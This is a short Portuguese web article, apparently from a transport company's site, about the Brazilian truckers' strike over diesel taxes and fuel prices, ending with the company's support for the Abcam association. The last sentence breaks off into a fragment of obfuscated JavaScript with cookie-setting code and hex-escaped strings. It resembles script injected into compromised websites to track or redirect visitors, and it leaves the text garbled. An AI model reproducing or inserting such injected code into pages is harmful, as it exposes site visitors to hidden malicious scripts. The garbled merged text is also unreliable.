Greve dos Caminhoneiros
Brasil é o quinto maior país do mundo em extensão territorial. Com cerca de 8,5 milhões de quilômetros quadrados de área, tem uma grande riqueza cultural, climática e ecológica, com uma população de mais de 200 milhões de habitantes ocupando todas as regiões do país.
Isso significa que é um país com produção agrícola e industrial espalhada por sua extensão continental e, de alguma maneira, essa produção precisa abastecer o mercado interno e também ser escoada para as transações internacionais.
Durante seu processo histórico de integração territorial, por uma série de motivos que agora não convém ao texto, o método escolhido foi majoritariamente rodoviário.
O território brasileiro é todo cortado por rodovias que servem, para além da integração entre diferentes cidades, estados e regiões, para servir como forma de transportar o que é produzido ao redor do país e também abastecer cada um de seus mais de cinco mil e quinhentos municípios.
Em todo esse processo existe uma figura central, a do caminhoneiro. Nesse contexto de transporte rodoviário, os caminhões são instrumento essencial para o abastecimento das cidades e o escoamento da produção.
Mesmo sendo figura central no processo produtivo do país, os caminhoneiros não recebem a consideração devida e adequada à sua importância.
É nesse contexto que foi deflagrada a greve dos caminhoneiros que se iniciou às 6 horas da manhã de segunda-feira (21).
Os caminhoneiros pedem pelo fim da carga tributária incidente sobre operações com óleo diesel e pela isenção da contribuição de intervenção no domínio econômico. Lutando contra o aumento no preço do combustível, essencial na atividade profissional.
O Grupo Rota- Movendo o Brasil apoia a causa movida pela Associação Brasileira dos Caminhoneiros, Abcam, e está junto dos caminhoneiros na luta pela valorização da classe!,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]
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